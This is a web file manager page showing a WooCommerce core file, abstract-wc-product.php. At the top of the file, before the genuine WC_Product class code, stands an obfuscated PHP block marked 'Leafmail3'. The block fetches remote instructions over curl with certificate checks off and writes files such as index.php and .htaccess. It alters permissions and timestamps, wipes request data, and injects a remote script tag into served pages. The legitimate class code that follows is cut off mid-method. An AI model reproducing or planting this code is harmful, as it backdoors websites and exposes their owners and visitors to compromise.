trAvis - MANAGER
Edit File: abstract-wc-product.php
<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?> <?php /** * WooCommerce product base class. * * @package WooCommerce\Abstracts */ if ( ! defined( 'ABSPATH' ) ) { exit; } use Automattic\WooCommerce\Internal\ProductAttributesLookup\LookupDataStore as ProductAttributesLookupDataStore; use Automattic\WooCommerce\Internal\ProductDownloads\ApprovedDirectories\Register as Download_Directories; /** * Legacy product contains all deprecated methods for this class and can be * removed in the future. */ require_once WC_ABSPATH . 'includes/legacy/abstract-wc-legacy-product.php'; /** * Abstract Product Class * * The WooCommerce product class handles individual product data. * * @version 3.0.0 * @package WooCommerce\Abstracts */ class WC_Product extends WC_Abstract_Legacy_Product { /** * This is the name of this object type. * * @var string */ protected $object_type = 'product'; /** * Post type. * * @var string */ protected $post_type = 'product'; /** * Cache group. * * @var string */ protected $cache_group = 'products'; /** * Stores product data. * * @var array */ protected $data = array( 'name' => '', 'slug' => '', 'date_created' => null, 'date_modified' => null, 'status' => false, 'featured' => false, 'catalog_visibility' => 'visible', 'description' => '', 'short_description' => '', 'sku' => '', 'price' => '', 'regular_price' => '', 'sale_price' => '', 'date_on_sale_from' => null, 'date_on_sale_to' => null, 'total_sales' => '0', 'tax_status' => 'taxable', 'tax_class' => '', 'manage_stock' => false, 'stock_quantity' => null, 'stock_status' => 'instock', 'backorders' => 'no', 'low_stock_amount' => '', 'sold_individually' => false, 'weight' => '', 'length' => '', 'width' => '', 'height' => '', 'upsell_ids' => array(), 'cross_sell_ids' => array(), 'parent_id' => 0, 'reviews_allowed' => true, 'purchase_note' => '', 'attributes' => array(), 'default_attributes' => array(), 'menu_order' => 0, 'post_password' => '', 'virtual' => false, 'downloadable' => false, 'category_ids' => array(), 'tag_ids' => array(), 'shipping_class_id' => 0, 'downloads' => array(), 'image_id' => '', 'gallery_image_ids' => array(), 'download_limit' => -1, 'download_expiry' => -1, 'rating_counts' => array(), 'average_rating' => 0, 'review_count' => 0, ); /** * Supported features such as 'ajax_add_to_cart'. * * @var array */ protected $supports = array(); /** * Get the product if ID is passed, otherwise the product is new and empty. * This class should NOT be instantiated, but the wc_get_product() function * should be used. It is possible, but the wc_get_product() is preferred. * * @param int|WC_Product|object $product Product to init. */ public function __construct( $product = 0 ) { parent::__construct( $product ); if ( is_numeric( $product ) && $product > 0 ) { $this->set_id( $product ); } elseif ( $product instanceof self ) { $this->set_id( absint( $product->get_id() ) ); } elseif ( ! empty( $product->ID ) ) { $this->set_id( absint( $product->ID ) ); } else { $this->set_object_read( true ); } $this->data_store = WC_Data_Store::load( 'product-' . $this->get_type() ); if ( $this->get_id() > 0 ) { $this->data_store->read( $this ); } } /** * Get internal type. Should return string and *should be overridden* by child classes. * * The product_type property is deprecated but is used here for BW compatibility with child classes which may be defining product_type and not have a get_type method. * * @since 3.0.0 * @return string */ public function get_type() { return isset( $this->product_type ) ? $this->product_type : 'simple'; } /** * Get product name. * * @since 3.0.0 * @param string $context What the value is for. Valid values are view and edit. * @return string */ public function get_name( $context = 'view' ) { return $this->get_prop( 'name', $context ); } /** * Get product slug. * * @since 3.0.0 * @param string $context What the value is for. Valid values are view and edit. * @return string */ public function get_slug( $context = 'view' ) { return $this->get_prop( 'slug', $context ); } /** * Get product created date. * * @since 3.0.0 * @param string $context What the value is for. Valid values are view and edit. * @return WC_DateTime|NULL object if the date is set or null if there is no date. */ public function get_date_created( $context = 'view' ) { return $this->get_prop( 'date_created', $context ); } /** * Get product modified date. * * @since 3.0.0 * @param string $context What the value is for. Valid values are view and edit. * @return WC_DateTime|NULL object if the date is set or null if there is no date. */ public function get_date_modified( $context = 'view' ) { return $this->get_prop( 'date_modified', $context ); } /** * Get product status. * * @since 3.0.0 * @param string $context What the value is for. Valid values are view and edit. * @return string */ public function get_status( $context = 'view' ) { return $this->get_prop( 'status', $context ); } /** * If the product is featured. * * @since 3.0.0 * @param string $context What the value is for. Valid values are view and edit. * @return boolean */ public function get_featured( $context = 'view' ) { return $this->get_prop( 'featured', $context ); } /** * Get catalog visibility. * * @since 3.0.0 * @param string $context What the value is for. Valid values are view and edit. * @return string */ public function get_catalog_visibility( $context = 'view' ) { return $this->get_prop( 'catalog_visibility', $context ); } /** * Get product description. * * @since 3.0.0 * @param string $context What the value is for. Valid values are view and edit. * @return string */ public function get_description( $context = 'view' ) { return $this->get_prop( 'description', $context ); } /** * Get product short description. * * @since 3.0.0 * @param string $context What the value is for. Valid values are view and edit. * @return string */ public function get_short_description( $context = 'view' ) { return $this->get_prop( 'short_description', $context ); } /** * Get SKU (Stock-keeping unit) - product unique ID. * * @param string $context What the value is for. Valid values are view and edit. * @return string */ public function get_sku( $context = 'view' ) { return $this->get_prop( 'sku', $context ); } /** * Returns the product's active price. * * @param string $context What the value is for. Valid values are view and edit. * @return string price */ public function get_price( $context = 'view' ) { return $this->get_prop( 'price', $context ); } /** * Returns the product's regular price. * * @param string $context What the value is for. Valid values are view and edit. * @return string price */ public function get_regular_price( $context = 'view' ) { return $this->get_prop( 'regular_price', $context ); } /** * Returns the product's sale price. * * @param string $context What the value is for. Valid values are view and edit. * @return string price */ public function get_sale_price( $context = 'view' ) { return $this->get_prop( 'sale_price', $context ); } /** * Get date on sale from. * * @since 3.0.0 * @param string $context What the value is for. Valid values are view and edit. * @return WC_DateTime|NULL object if the date is set or null if there is no date. */ public function get_date_on_sale_from( $context = 'view' ) { return $this->get_prop( 'date_on_sale_from', $context ); } /** * Get date on sale to. * * @since 3.0.0 * @param string $context What the value is for. Valid values are view and edit. * @return WC_DateTime|NULL object if the date is set or null if there is no date. */ public function get_date_on_sale_to( $context = 'view' ) { return $this->get_prop( 'date_on_sale_to', $context ); } /** * Get number total of sales. * * @since 3.0.0 * @param string $context What the value is for. Valid values are view and edit. * @return int */ public function get_total_sales( $context = 'view' ) { return $this->get_prop( 'total_sales', $context ); } /** * Returns the tax status. * * @param string $context What the value is for. Valid values are view and edit. * @return string */ public function 